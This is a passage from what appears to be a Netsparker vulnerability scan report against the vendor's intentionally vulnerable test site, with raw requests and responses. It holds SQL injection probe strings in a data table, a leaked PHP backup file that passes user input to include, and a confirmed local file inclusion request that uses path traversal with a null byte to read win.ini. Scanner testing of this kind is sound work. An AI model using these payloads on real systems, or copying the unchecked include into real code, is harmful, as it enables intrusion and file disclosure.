3449 <td>KENNETH </td>
3450 <td>TORN </td>
3451 <td>2012-03-13 12:14:54 </td>
3452 <td>22 </td>
3453 </tr>
3454 <tr class="even">
3455 <td>95 </td>
3456 <td>DARYL </td>
3457 <td>WAHLBERG </td>
3458 <td>2012-03-13 12:14:54 </td>
3459 <td>22 </td>
3460 </tr>
3461 <tr class="odd">
3462 <td>96 </td>
3463 <td>GENE </td>
3464 <td>WILLIS </td>
3465 <td>2012-03-13 12:14:54 </td>
3466 <td>22 </td>
3467 </tr>
3468 <tr class="even">
3469 <td>97 </td>
3470 <td>MEG </td>
3471 <td>HAWKE </td>
3472 <td>2012-03-13 12:14:54 </td>
3473 <td>22 </td>
3474 </tr>
3475 <tr class="odd">
3476 <td>98 </td>
3477 <td>CHRIS </td>
3478 <td>BRIDGES </td>
3479 <td>2012-03-13 12:14:54 </td>
3480 <td>22 </td>
3481 </tr>
3482 <tr class="even">
3483 <td>99 </td>
3484 <td>JIM </td>
3485 <td>MOSTEL </td>
3486 <td>2012-03-13 12:14:54 </td>
3487 <td>22 </td>
3488 </tr>
3489 <tr class="odd">
3490 <td>100 </td>
3491 <td>SPENCER </td>
3492 <td>DEPP </td>
3493 <td>2012-03-13 12:14:54 </td>
3494 <td>22 </td>
3495 </tr>
3496 <tr class="even">
3497 <td>101 </td>
3498 <td>SUSAN </td>
3499 <td>DAVIS </td>
3500 <td>2012-03-13 12:14:54 </td>
3501 <td>22 </td>
3502 </tr>
3503 <tr class="odd">
3504 <td>102 </td>
3505 <td>WALTER </td>
3506 <td>TORN </td>
3507 <td>2012-03-13 12:14:54 </td>
3508 <td>22 </td>
3509 </tr>
3510 <tr class="even">
3511 <td>103 </td>
3512 <td>MATTHEW </td>
3513 <td>LEIGH </td>
3514 <td>2012-03-13 12:14:54 </td>
3515 <td>22 </td>
3516 </tr>
3517 <tr class="odd">
3518 <td>104 </td>
3519 <td>PENELOPE </td>
3520 <td>CRONYN </td>
3521 <td>2012-03-13 12:14:54 </td>
3522 <td>22 </td>
3523 </tr>
3524 <tr class="even">
3525 <td>105 </td>
3526 <td>SIDNEY </td>
3527 <td>CROWE </td>
3528 <td>2012-03-13 12:14:54 </td>
3529 <td>22 </td>
3530 </tr>
3531 <tr class="odd">
3532 <td>106 </td>
3533 <td>GROUCHO </td>
3534 <td>DUNST </td>
3535 <td>2012-03-13 12:14:54 </td>
3536 <td>22 </td>
3537 </tr>
3538 <tr class="even">
3539 <td>107 </td>
3540 <td>GINA </td>
3541 <td>DEGENERES </td>
3542 <td>2012-03-13 12:14:54 </td>
3543 <td>22 </td>
3544 </tr>
3545 <tr class="odd">
3546 <td>108 </td>
3547 <td>WARREN </td>
3548 <td>NOLTE </td>
3549 <td>2012-03-13 12:14:54 </td>
3550 <td>22 </td>
3551 </tr>
3552 <tr class="even">
3553 <td>109 </td>
3554 <td>SYLVESTER </td>
3555 <td>DERN </td>
3556 <td>2012-03-13 12:14:54 </td>
3557 <td>22 </td>
3558 </tr>
3559 <tr class="odd">
3560 <td>110 </td>
3561 <td>SUSAN </td>
3562 <td>DAVIS </td>
3563 <td>2012-03-13 12:14:54 </td>
3564 <td>22 </td>
3565 </tr>
3566 <tr class="even">
3567 <td>111 </td>
3568 <td>CAMERON </td>
3569 <td>ZELLWEGER </td>
3570 <td>2012-03-13 12:14:54 </td>
3571 <td>22 </td>
3572 </tr>
3573 <tr class="odd">
3574 <td>112 </td>
3575 <td>RUSSELL </td>
3576 <td>BACALL </td>
3577 <td>2012-03-13 12:14:54 </td>
3578 <td>22 </td>
3579 </tr>
3580 <tr class="even">
3581 <td>113 </td>
3582 <td>MORGAN </td>
3583 <td>HOPKINS </td>
3584 <td>2012-03-13 12:14:54 </td>
3585 <td>22 </td>
3586 </tr>
3587 <tr class="odd">
3588 <td>114 </td>
3589 <td>MORGAN </td>
3590 <td>MCDORMAND </td>
3591 <td>2012-03-13 12:14:54 </td>
3592 <td>22 </td>
3593 </tr>
3594 <tr class="even">
3595 <td>115 </td>
3596 <td>HARRISON </td>
3597 <td>BALE </td>
3598 <td>2012-03-13 12:14:54 </td>
3599 <td>22 </td>
3600 </tr>
3601 <tr class="odd">
3602 <td>116 </td>
3603 <td>DAN </td>
3604 <td>STREEP </td>
3605 <td>2012-03-13 12:14:54 </td>
3606 <td>22 </td>
3607 </tr>
3608 <tr class="even">
3609 <td>117 </td>
3610 <td>RENEE </td>
3611 <td>TRACY </td>
3612 <td>2012-03-13 12:14:54 </td>
3613 <td>22 </td>
3614 </tr>
3615 <tr class="odd">
3616 <td>118 </td>
3617 <td>CUBA </td>
3618 <td>ALLEN </td>
3619 <td>2012-03-13 12:14:54 </td>
3620 <td>22 </td>
3621 </tr>
3622 <tr class="even">
3623 <td>119 </td>
3624 <td>WARREN </td>
3625 <td>JACKMAN </td>
3626 <td>2012-03-13 12:14:54 </td>
3627 <td>22 </td>
3628 </tr>
3629 <tr class="odd">
3630 <td>120 </td>
3631 <td>PENELOPE </td>
3632 <td>MONROE </td>
3633 <td>2012-03-13 12:14:54 </td>
3634 <td>22 </td>
3635 </tr>
3636 <tr class="even">
3637 <td>121 </td>
3638 <td>LIZA </td>
3639 <td>BERGMAN </td>
3640 <td>2012-03-13 12:14:54 </td>
3641 <td>22 </td>
3642 </tr>
3643 <tr class="odd">
3644 <td>122 </td>
3645 <td>SALMA </td>
3646 <td>NOLTE </td>
3647 <td>2012-03-13 12:14:54 </td>
3648 <td>22 </td>
3649 </tr>
3650 <tr class="even">
3651 <td>123 </td>
3652 <td>JULIANNE </td>
3653 <td>DENCH </td>
3654 <td>2012-03-13 12:14:54 </td>
3655 <td>22 </td>
3656 </tr>
3657 <tr class="odd">
3658 <td>124 </td>
3659 <td>SCARLETT </td>
3660 <td>BENING </td>
3661 <td>2012-03-13 12:14:54 </td>
3662 <td>22 </td>
3663 </tr>
3664 <tr class="even">
3665 <td>125 </td>
3666 <td>ALBERT </td>
3667 <td>NOLTE </td>
3668 <td>2012-03-13 12:14:54 </td>
3669 <td>22 </td>
3670 </tr>
3671 <tr class="odd">
3672 <td>126 </td>
3673 <td>FRANCES </td>
3674 <td>TOMEI </td>
3675 <td>2012-03-13 12:14:54 </td>
3676 <td>22 </td>
3677 </tr>
3678 <tr class="even">
3679 <td>127 </td>
3680 <td>KEVIN </td>
3681 <td>GARLAND </td>
3682 <td>2012-03-13 12:14:54 </td>
3683 <td>22 </td>
3684 </tr>
3685 <tr class="odd">
3686 <td>128 </td>
3687 <td>CATE </td>
3688 <td>MCQUEEN </td>
3689 <td>2012-03-13 12:14:54 </td>
3690 <td>22 </td>
3691 </tr>
3692 <tr class="even">
3693 <td>129 </td>
3694 <td>DARYL </td>
3695 <td>CRAWFORD </td>
3696 <td>2012-03-13 12:14:54 </td>
3697 <td>22 </td>
3698 </tr>
3699 <tr class="odd">
3700 <td>130 </td>
3701 <td>GRETA </td>
3702 <td>KEITEL </td>
3703 <td>2012-03-13 12:14:54 </td>
3704 <td>22 </td>
3705 </tr>
3706 <tr class="even">
3707 <td>131 </td>
3708 <td>JANE </td>
3709 <td>JACKMAN </td>
3710 <td>2012-03-13 12:14:54 </td>
3711 <td>22 </td>
3712 </tr>
3713 <tr class="odd">
3714 <td>132 </td>
3715 <td>ADAM </td>
3716 <td>HOPPER </td>
3717 <td>2012-03-13 12:14:54 </td>
3718 <td>22 </td>
3719 </tr>
3720 <tr class="even">
3721 <td>133 </td>
3722 <td>RICHARD </td>
3723 <td>PENN </td>
3724 <td>2012-03-13 12:14:54 </td>
3725 <td>22 </td>
3726 </tr>
3727 <tr class="odd">
3728 <td>134 </td>
3729 <td>GENE </td>
3730 <td>HOPKINS </td>
3731 <td>2012-03-13 12:14:54 </td>
3732 <td>22 </td>
3733 </tr>
3734 <tr class="even">
3735 <td>135 </td>
3736 <td>RITA </td>
3737 <td>REYNOLDS </td>
3738 <td>2012-03-13 12:14:54 </td>
3739 <td>22 </td>
3740 </tr>
3741 <tr class="odd">
3742 <td>136 </td>
3743 <td>ED </td>
3744 <td>MANSFIELD </td>
3745 <td>2012-03-13 12:14:54 </td>
3746 <td>22 </td>
3747 </tr>
3748 <tr class="even">
3749 <td>137 </td>
3750 <td>MORGAN </td>
3751 <td>WILLIAMS </td>
3752 <td>2012-03-13 12:14:54 </td>
3753 <td>22 </td>
3754 </tr>
3755 <tr class="odd">
3756 <td>138 </td>
3757 <td>LUCILLE </td>
3758 <td>DEE </td>
3759 <td>2012-03-13 12:14:54 </td>
3760 <td>22 </td>
3761 </tr>
3762 <tr class="even">
3763 <td>139 </td>
3764 <td>EWAN </td>
3765 <td>GOODING </td>
3766 <td>2012-03-13 12:14:54 </td>
3767 <td>22 </td>
3768 </tr>
3769 <tr class="odd">
3770 <td>140 </td>
3771 <td>WHOOPI </td>
3772 <td>HURT </td>
3773 <td>2012-03-13 12:14:54 </td>
3774 <td>22 </td>
3775 </tr>
3776 <tr class="even">
3777 <td>141 </td>
3778 <td>CATE </td>
3779 <td>HARRIS </td>
3780 <td>2012-03-13 12:14:54 </td>
3781 <td>22 </td>
3782 </tr>
3783 <tr class="odd">
3784 <td>142 </td>
3785 <td>JADA </td>
3786 <td>RYDER </td>
3787 <td>2012-03-13 12:14:54 </td>
3788 <td>22 </td>
3789 </tr>
3790 <tr class="even">
3791 <td>143 </td>
3792 <td>RIVER </td>
3793 <td>DEAN </td>
3794 <td>2012-03-13 12:14:54 </td>
3795 <td>22 </td>
3796 </tr>
3797 <tr class="odd">
3798 <td>144 </td>
3799 <td>ANGELA </td>
3800 <td>WITHERSPOON </td>
3801 <td>2012-03-13 12:14:54 </td>
3802 <td>22 </td>
3803 </tr>
3804 <tr class="even">
3805 <td>145 </td>
3806 <td>KIM </td>
3807 <td>ALLEN </td>
3808 <td>2012-03-13 12:14:54 </td>
3809 <td>22 </td>
3810 </tr>
3811 <tr class="odd">
3812 <td>146 </td>
3813 <td>ALBERT </td>
3814 <td>JOHANSSON </td>
3815 <td>2012-03-13 12:14:54 </td>
3816 <td>22 </td>
3817 </tr>
3818 <tr class="even">
3819 <td>147 </td>
3820 <td>FAY </td>
3821 <td>WINSLET </td>
3822 <td>2012-03-13 12:14:54 </td>
3823 <td>22 </td>
3824 </tr>
3825 <tr class="odd">
3826 <td>148 </td>
3827 <td>EMILY </td>
3828 <td>DEE </td>
3829 <td>2012-03-13 12:14:54 </td>
3830 <td>22 </td>
3831 </tr>
3832 <tr class="even">
3833 <td>149 </td>
3834 <td>RUSSELL </td>
3835 <td>TEMPLE </td>
3836 <td>2012-03-13 12:14:54 </td>
3837 <td>22 </td>
3838 </tr>
3839 <tr class="odd">
3840 <td>150 </td>
3841 <td>JAYNE </td>
3842 <td>NOLTE </td>
3843 <td>2012-03-13 12:14:54 </td>
3844 <td>22 </td>
3845 </tr>
3846 <tr class="even">
3847 <td>151 </td>
3848 <td>GEOFFREY </td>
3849 <td>HESTON </td>
3850 <td>2012-03-13 12:14:54 </td>
3851 <td>22 </td>
3852 </tr>
3853 <tr class="odd">
3854 <td>152 </td>
3855 <td>BEN </td>
3856 <td>HARRIS </td>
3857 <td>2012-03-13 12:14:54 </td>
3858 <td>22 </td>
3859 </tr>
3860 <tr class="even">
3861 <td>153 </td>
3862 <td>MINNIE </td>
3863 <td>KILMER </td>
3864 <td>2012-03-13 12:14:54 </td>
3865 <td>22 </td>
3866 </tr>
3867 <tr class="odd">
3868 <td>154 </td>
3869 <td>MERYL </td>
3870 <td>GIBSON </td>
3871 <td>2012-03-13 12:14:54 </td>
3872 <td>22 </td>
3873 </tr>
3874 <tr class="even">
3875 <td>155 </td>
3876 <td>IAN </td>
3877 <td>TANDY </td>
3878 <td>2012-03-13 12:14:54 </td>
3879 <td>22 </td>
3880 </tr>
3881 <tr class="odd">
3882 <td>156 </td>
3883 <td>FAY </td>
3884 <td>WOOD </td>
3885 <td>2012-03-13 12:14:54 </td>
3886 <td>22 </td>
3887 </tr>
3888 <tr class="even">
3889 <td>157 </td>
3890 <td>GRETA </td>
3891 <td>MALDEN </td>
3892 <td>2012-03-13 12:14:54 </td>
3893 <td>22 </td>
3894 </tr>
3895 <tr class="odd">
3896 <td>158 </td>
3897 <td>VIVIEN </td>
3898 <td>BASINGER </td>
3899 <td>2012-03-13 12:14:54 </td>
3900 <td>22 </td>
3901 </tr>
3902 <tr class="even">
3903 <td>159 </td>
3904 <td>LAURA </td>
3905 <td>BRODY </td>
3906 <td>2012-03-13 12:14:54 </td>
3907 <td>22 </td>
3908 </tr>
3909 <tr class="odd">
3910 <td>160 </td>
3911 <td>CHRIS </td>
3912 <td>DEPP </td>
3913 <td>2012-03-13 12:14:54 </td>
3914 <td>22 </td>
3915 </tr>
3916 <tr class="even">
3917 <td>161 </td>
3918 <td>HARVEY </td>
3919 <td>HOPE </td>
3920 <td>2012-03-13 12:14:54 </td>
3921 <td>22 </td>
3922 </tr>
3923 <tr class="odd">
3924 <td>162 </td>
3925 <td>OPRAH </td>
3926 <td>KILMER </td>
3927 <td>2012-03-13 12:14:54 </td>
3928 <td>22 </td>
3929 </tr>
3930 <tr class="even">
3931 <td>163 </td>
3932 <td>CHRISTOPHER </td>
3933 <td>WEST </td>
3934 <td>2012-03-13 12:14:54 </td>
3935 <td>22 </td>
3936 </tr>
3937 <tr class="odd">
3938 <td>164 </td>
3939 <td>HUMPHREY </td>
3940 <td>WILLIS </td>
3941 <td>2012-03-13 12:14:54 </td>
3942 <td>22 </td>
3943 </tr>
3944 <tr class="even">
3945 <td>165 </td>
3946 <td>AL </td>
3947 <td>GARLAND </td>
3948 <td>2012-03-13 12:14:54 </td>
3949 <td>22 </td>
3950 </tr>
3951 <tr class="odd">
3952 <td>166 </td>
3953 <td>NICK </td>
3954 <td>DEGENERES </td>
3955 <td>2012-03-13 12:14:54 </td>
3956 <td>22 </td>
3957 </tr>
3958 <tr class="even">
3959 <td>167 </td>
3960 <td>LAURENCE </td>
3961 <td>BULLOCK </td>
3962 <td>2012-03-13 12:14:54 </td>
3963 <td>22 </td>
3964 </tr>
3965 <tr class="odd">
3966 <td>168 </td>
3967 <td>WILL </td>
3968 <td>WILSON </td>
3969 <td>2012-03-13 12:14:54 </td>
3970 <td>22 </td>
3971 </tr>
3972 <tr class="even">
3973 <td>169 </td>
3974 <td>KENNETH </td>
3975 <td>HOFFMAN </td>
3976 <td>2012-03-13 12:14:54 </td>
3977 <td>22 </td>
3978 </tr>
3979 <tr class="odd">
3980 <td>170 </td>
3981 <td>MENA </td>
3982 <td>HOPPER </td>
3983 <td>2012-03-13 12:14:54 </td>
3984 <td>22 </td>
3985 </tr>
3986 <tr class="even">
3987 <td>171 </td>
3988 <td>OLYMPIA </td>
3989 <td>PFEIFFER </td>
3990 <td>2012-03-13 12:14:54 </td>
3991 <td>22 </td>
3992 </tr>
3993 <tr class="odd">
3994 <td>172 </td>
3995 <td>GROUCHO </td>
3996 <td>WILLIAMS </td>
3997 <td>2012-03-13 12:14:54 </td>
3998 <td>22 </td>
3999 </tr>
4000 <tr class="even">
4001 <td>173 </td>
4002 <td>ALAN </td>
4003 <td>DREYFUSS </td>
4004 <td>2012-03-13 12:14:54 </td>
4005 <td>22 </td>
4006 </tr>
4007 <tr class="odd">
4008 <td>174 </td>
4009 <td>MICHAEL </td>
4010 <td>BENING </td>
4011 <td>2012-03-13 12:14:54 </td>
4012 <td>22 </td>
4013 </tr>
4014 <tr class="even">
4015 <td>175 </td>
4016 <td>WILLIAM </td>
4017 <td>HACKMAN </td>
4018 <td>2012-03-13 12:14:54 </td>
4019 <td>22 </td>
4020 </tr>
4021 <tr class="odd">
4022 <td>176 </td>
4023 <td>JON </td>
4024 <td>CHASE </td>
4025 <td>2012-03-13 12:14:54 </td>
4026 <td>22 </td>
4027 </tr>
4028 <tr class="even">
4029 <td>177 </td>
4030 <td>GENE </td>
4031 <td>MCKELLEN </td>
4032 <td>2012-03-13 12:14:54 </td>
4033 <td>22 </td>
4034 </tr>
4035 <tr class="odd">
4036 <td>178 </td>
4037 <td>LISA </td>
4038 <td>MONROE </td>
4039 <td>2012-03-13 12:14:54 </td>
4040 <td>22 </td>
4041 </tr>
4042 <tr class="even">
4043 <td>179 </td>
4044 <td>ED </td>
4045 <td>GUINESS </td>
4046 <td>2012-03-13 12:14:54 </td>
4047 <td>22 </td>
4048 </tr>
4049 <tr class="odd">
4050 <td>180 </td>
4051 <td>JEFF </td>
4052 <td>SILVERSTONE </td>
4053 <td>2012-03-13 12:14:54 </td>
4054 <td>22 </td>
4055 </tr>
4056 <tr class="even">
4057 <td>181 </td>
4058 <td>MATTHEW </td>
4059 <td>CARREY </td>
4060 <td>2012-03-13 12:14:54 </td>
4061 <td>22 </td>
4062 </tr>
4063 <tr class="odd">
4064 <td>182 </td>
4065 <td>DEBBIE </td>
4066 <td>AKROYD </td>
4067 <td>2012-03-13 12:14:54 </td>
4068 <td>22 </td>
4069 </tr>
4070 <tr class="even">
4071 <td>183 </td>
4072 <td>RUSSELL </td>
4073 <td>CLOSE </td>
4074 <td>2012-03-13 12:14:54 </td>
4075 <td>22 </td>
4076 </tr>
4077 <tr class="odd">
4078 <td>184 </td>
4079 <td>HUMPHREY </td>
4080 <td>GARLAND </td>
4081 <td>2012-03-13 12:14:54 </td>
4082 <td>22 </td>
4083 </tr>
4084 <tr class="even">
4085 <td>185 </td>
4086 <td>MICHAEL </td>
4087 <td>BOLGER </td>
4088 <td>2012-03-13 12:14:54 </td>
4089 <td>22 </td>
4090 </tr>
4091 <tr class="odd">
4092 <td>186 </td>
4093 <td>JULIA </td>
4094 <td>ZELLWEGER </td>
4095 <td>2012-03-13 12:14:54 </td>
4096 <td>22 </td>
4097 </tr>
4098 <tr class="even">
4099 <td>187 </td>
4100 <td>RENEE </td>
4101 <td>BALL </td>
4102 <td>2012-03-13 12:14:54 </td>
4103 <td>22 </td>
4104 </tr>
4105 <tr class="odd">
4106 <td>188 </td>
4107 <td>ROCK </td>
4108 <td>DUKAKIS </td>
4109 <td>2012-03-13 12:14:54 </td>
4110 <td>22 </td>
4111 </tr>
4112 <tr class="even">
4113 <td>189 </td>
4114 <td>CUBA </td>
4115 <td>BIRCH </td>
4116 <td>2012-03-13 12:14:54 </td>
4117 <td>22 </td>
4118 </tr>
4119 <tr class="odd">
4120 <td>190 </td>
4121 <td>AUDREY </td>
4122 <td>BAILEY </td>
4123 <td>2012-03-13 12:14:54 </td>
4124 <td>22 </td>
4125 </tr>
4126 <tr class="even">
4127 <td>191 </td>
4128 <td>GREGORY </td>
4129 <td>GOODING </td>
4130 <td>2012-03-13 12:14:54 </td>
4131 <td>22 </td>
4132 </tr>
4133 <tr class="odd">
4134 <td>192 </td>
4135 <td>JOHN </td>
4136 <td>SUVARI </td>
4137 <td>2012-03-13 12:14:54 </td>
4138 <td>22 </td>
4139 </tr>
4140 <tr class="even">
4141 <td>193 </td>
4142 <td>BURT </td>
4143 <td>TEMPLE </td>
4144 <td>2012-03-13 12:14:54 </td>
4145 <td>22 </td>
4146 </tr>
4147 <tr class="odd">
4148 <td>194 </td>
4149 <td>MERYL </td>
4150 <td>ALLEN </td>
4151 <td>2012-03-13 12:14:54 </td>
4152 <td>22 </td>
4153 </tr>
4154 <tr class="even">
4155 <td>195 </td>
4156 <td>JAYNE </td>
4157 <td>SILVERSTONE </td>
4158 <td>2012-03-13 12:14:54 </td>
4159 <td>22 </td>
4160 </tr>
4161 <tr class="odd">
4162 <td>196 </td>
4163 <td>BELA </td>
4164 <td>WALKEN </td>
4165 <td>2012-03-13 12:14:54 </td>
4166 <td>22 </td>
4167 </tr>
4168 <tr class="even">
4169 <td>197 </td>
4170 <td>REESE </td>
4171 <td>WEST </td>
4172 <td>2012-03-13 12:14:54 </td>
4173 <td>22 </td>
4174 </tr>
4175 <tr class="odd">
4176 <td>198 </td>
4177 <td>MARY </td>
4178 <td>KEITEL </td>
4179 <td>2012-03-13 12:14:54 </td>
4180 <td>22 </td>
4181 </tr>
4182 <tr class="even">
4183 <td>199 </td>
4184 <td>JULIA </td>
4185 <td>FAWCETT </td>
4186 <td>2012-03-13 12:14:54 </td>
4187 <td>22 </td>
4188 </tr>
4189 <tr class="odd">
4190 <td>200 </td>
4191 <td>THORA </td>
4192 <td>TEMPLE </td>
4193 <td>2012-03-13 12:14:54 </td>
4194 <td>22 </td>
4195 </tr>
4196 <tr class="even">
4197 <td>411 </td>
4198 <td>hasan </td>
4199 <td>test </td>
4200 <td>2012-03-13 12:14:54 </td>
4201 <td>22 </td>
4202 </tr>
4203 <tr class="odd">
4204 <td>412 </td>
4205 <td>-1 OR 1=1 </td>
4206 <td>test </td>
4207 <td>2012-03-13 12:14:54 </td>
4208 <td>22 </td>
4209 </tr>
4210 <tr class="even">
4211 <td>413 </td>
4212 <td>-1 OR 1=1 </td>
4213 <td>test </td>
4214 <td>2012-03-13 12:14:54 </td>
4215 <td>22 </td>
4216 </tr>
4217 <tr class="odd">
4218 <td>414 </td>
4219 <td>NS1NO </td>
4220 <td>test </td>
4221 <td>2012-03-13 12:14:54 </td>
4222 <td>22 </td>
4223 </tr>
4224 <tr class="even">
4225 <td>415 </td>
4226 <td>1 AND 'NS='ss </td>
4227 <td>test </td>
4228 <td>2012-03-13 12:14:54 </td>
4229 <td>22 </td>
4230 </tr>
4231 <tr class="odd">
4232 <td>416 </td>
4233 <td>' OR 'ns'='ns </td>
4234 <td>test </td>
4235 <td>2012-03-13 12:14:54 </td>
4236 <td>22 </td>
4237 </tr>
4238 <tr class="even">
4239 <td>417 </td>
4240 <td>-1 OR 17-7=10 </td>
4241 <td>test </td>
4242 <td>2012-03-13 12:14:54 </td>
4243 <td>22 </td>
4244 </tr>
4245 <tr class="odd">
4246 <td>418 </td>
4247 <td>1 OR X='ss </td>
4248 <td>test </td>
4249 <td>2012-03-13 12:14:54 </td>
4250 <td>22 </td>
4251 </tr>
4252 <tr class="even">
4253 <td>419 </td>
4254 <td>' OR '1'='1 </td>
4255 <td>test </td>
4256 <td>2012-03-13 12:14:54 </td>
4257 <td>22 </td>
4258 </tr>
4259 <tr class="odd">
4260 <td>420 </td>
4261 <td>' OR '1'='1 </td>
4262 <td>test </td>
4263 <td>2012-03-13 12:14:54 </td>
4264 <td>22 </td>
4265 </tr>
4266 </tbody></table> </p>
4267
4268 </div>
4269 </div>
4270 <div style="clear: both;">&nbsp;</div>
4271 </div>
4272 <!-- end #content -->
4273
4274 <div id="sidebar">
4275 <ul>
4276 <li>
4277 <div id="search" >
4278 <form method="get" action="artist.php">
4279 <div>
4280 <input type="text" name="s" id="search-text" value="" />
4281 <input type="submit" id="search-submit" value="GO" />
4282 </div>
4283 </form>
4284
4285 </div>
4286 <div style="clear: both;">&nbsp;</div>
4287 </li>
4288 <li>
4289 <h2>Tags</h2>
4290 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
4291 </li>
4292 <li>
4293 <h2>Inner Pages</h2>
4294 <ul>
4295 <li><a href="artist.php?id=test">Artist Search</a></li>
4296 <li><a href="nslookup.php">Lookup Service</a></li>
4297 </ul>
4298 </li>
4299 <li>
4300 <h2>Links</h2>
4301 <ul>
4302 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
4303 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
4304 </ul>
4305 </li>
4306 </ul>
4307 </div> <!-- end #sidebar -->
4308 <div style="clear: both;">&nbsp;</div>
4309 </div>
4310 </div>
4311 </div>
4312 <!-- end #page -->
4313 </div>
4314
4315 <div id="footer">
4316 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4317 </div> <!-- end #footer -->
4318 </body>
4319 </html>
4320 ]]></rawresponse>
4321 <extrainformation>
4322 </extrainformation>
4323
4324 <classification>
4325 <OWASP>A6</OWASP>
4326 <WASC>14</WASC>
4327 <CWE>267</CWE>
4328 <CAPEC></CAPEC>
4329 <PCI></PCI>
4330 <PCI2>6.5.6</PCI2>
4331 </classification>
4332
4333 </vulnerability>
4334 <vulnerability confirmed="False">
4335 <url>http://php.testsparker.com/process.bak</url>
4336 <type>BackupSourceCodeFound</type>
4337 <severity>Important</severity>
4338 <certainty>95</certainty>
4339
4340 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
4341 Cache-Control: no-cache
4342 Referer: http://php.testsparker.com/process.bak
4343 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4344 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4345 X-Scanner: Netsparker
4346 Accept-Language: en-us,en;q=0.5
4347 Host: php.testsparker.com
4348 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4349 Accept-Encoding: gzip, deflate
4350
4351 ]]></rawrequest>
4352 <rawresponse><![CDATA[HTTP/1.1 200 OK
4353 Date: Fri, 29 Nov 2013 11:26:28 GMT
4354 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4355 ETag: "30000000199eb-363-481496ef4391c"
4356 Accept-Ranges: bytes
4357 Content-Length: 867
4358 Content-Type: text/plain
4359 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
4360
4361 <?php
4362 require("auth.php");
4363 ini_set("display_errors","0");
4364
4365 //global configuration area
4366 $globals["title"] = "Netsparker Test Web Site - PHP";
4367 function EndsWith($FullStr, $EndStr)
4368 {
4369 // Get the length of the end string
4370 $StrLen = strlen($EndStr);
4371 // Look at the end of FullStr for the substring the size of EndStr
4372 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
4373 // If it matches, it does end with EndStr
4374 return $FullStrEnd == $EndStr;
4375 }
4376 ?>
4377
4378 <?php include "Internals/header.php"?>
4379 <body>
4380 <div id="wrapper">
4381 <?php include "Internals/upmenu.php"?>
4382 <?php
4383 $file = $_REQUEST["file"];
4384 if(EndsWith($file,".nsp"))
4385 include $_REQUEST["file"];
4386 ?>
4387 <!-- end #page -->
4388 </div>
4389
4390 <?php include "Internals/footer.php"?>
4391 <!-- end #footer -->
4392 </body>
4393 </html>
4394 ]]></rawresponse>
4395 <extrainformation>
4396 </extrainformation>
4397
4398 <classification>
4399 <OWASP>A8</OWASP>
4400 <WASC>34</WASC>
4401 <CWE>530</CWE>
4402 <CAPEC>87</CAPEC>
4403 <PCI>6.5.10</PCI>
4404 <PCI2>6.5.8</PCI2>
4405 </classification>
4406
4407 </vulnerability>
4408 <vulnerability confirmed="True">
4409 <url>http://php.testsparker.com/process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp</url>
4410 <type>Lfi</type>
4411 <severity>Important</severity>
4412 <certainty>100</certainty>
4413
4414 <vulnerableparametertype>GET</vulnerableparametertype>
4415 <vulnerableparameter>file</vulnerableparameter>
4416 <vulnerableparametervalue>../../../../../../../../../../windows/win.ini&#xFF;.nsp</vulnerableparametervalue>
4417 <rawrequest><![CDATA[GET /process.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00.nsp HTTP/1.1
4418 Cache-Control: no-cache
4419 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
4420 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
4421 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
4422 X-Scanner: Netsparker
4423 Accept-Language: en-us,en;q=0.5
4424 Host: php.testsparker.com
4425 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
4426 Accept-Encoding: gzip, deflate
4427
4428 ]]></rawrequest>
4429 <rawresponse><![CDATA[HTTP/1.1 200 OK
4430 Date: Fri, 29 Nov 2013 11:27:01 GMT
4431 Server: Apache/2.2.8 (Win32) PHP/5.2.6
4432 X-Powered-By: PHP/5.2.6
4433 Content-Length: 1412
4434 Content-Type: text/html
4435
4436
4437 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
4438 <html xmlns="http://www.w3.org/1999/xhtml">
4439 <head>
4440 <meta name="keywords" content="" />
4441 <meta name="description" content="" />
4442 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
4443 <title>Netsparker Test Web Site - PHP</title>
4444 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
4445 </head><body>
4446 <div id="wrapper">
4447
4448 <div id="menu">
4449 <ul>
4450 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
4451 <li><a href="hello.php?name=Visitor">Hello</a></li>
4452 <li><a href="products.php?pro=url">Products</a></li>
4453 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
4454 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
4455 <li><a href="auth/">Login</a></li>
4456 </ul>
4457 </div>
4458 <!-- end #menu -->
4459 <div id="header">
4460
4461 </div>
4462 <!-- end #header --> ; for 16-bit app support
4463 [fonts]
4464 [extensions]
4465 [mci extensions]
4466 [files]
4467 [Mail]
4468 MAPI=1
4469 <!-- process.php load pages from path of the website. -->
4470 <!-- FIXME: File / directory permissions -->
4471 <!-- end #page -->
4472 </div>
4473
4474 <div id="footer">
4475 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
4476 </div> <!-- end #footer -->
4477 </body>
4478 </html>
4479 ]]></rawresponse>
4480 <extrainformation>
4481 </extrainformation>
4482
4483 <classification>
4484 <OWASP>A4</OWASP>
